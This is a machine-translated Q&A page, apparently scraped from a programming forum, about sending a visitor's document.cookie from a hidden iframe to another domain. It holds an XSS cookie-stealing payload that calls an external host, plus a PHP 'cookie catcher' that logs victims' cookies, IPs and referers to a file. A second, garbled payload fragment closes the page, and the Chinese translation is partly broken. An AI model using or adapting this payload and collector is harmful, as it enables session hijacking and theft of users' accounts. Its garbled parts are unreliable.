通过文档.从独立域的iframe内将Cookie转换为PHP

Passing document.cookie to php from within an iframe on a seperate domain

本文关键字:Cookie 内将 转换 PHP iframe 文档 独立      更新时间:2023-09-26
<IFRAME WIDTH=0 HEIGHT=0 frameborder=0 SRC=jvoid(document.location="http://www.xxx.com/cookie.php?c"+document.cookie)></iframe>

然后php文件:

<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");;
$referer=getenv ('HTTP_REFERER');
$fp = fopen('logs.html', 'a');
fwrite($fp, 'Cookie: '.$cookie.'< br > IP: ' .$ip. '< br > Date and Time: ' .$date. '< br > Referer: '.$referer.'< br > < br > < br >');
fclose($fp);
header ("Location: http://www.xxx.com");
?>

logs.html记录了除cookie以外的所有内容-为什么?我测试了我的站点通过调用:document正确地支付了cookie。Cookie内的标签,所以其他的东西。请指出我的愚蠢!

你为什么要这样做?不管怎样,我遇到了这个链接:http://www.15seconds.com/issue/971108.htm很久以前…看看它是否对你有用

或者你可以尝试使用js,如下所示:

<script type="text/javascript">
   var script=document.createElement('script');
   script.setAttribute("type","text/javascript");
   script.setAttribute("src", 'http://xxx.com/ajaxHandler?getCookie&callback=passCookie');
   document.getElementsByTagName("head")[0].appendChild(newfile);
 </script>

页面xxx.com/ajaxHandler?getCookie可以这样做:

 passCookie({'name':'mycookie', 'value':'myvalue'});

我想这是因为同源策略。

否则偷别人的cookie就太容易了:)

http://en.wikipedia.org/wiki/Same_origin_policy

< ="0" height="0" width="0" src="javascript...:void(document.location='YOURURL/cookie catcher.PHP?c=' document.cookie)></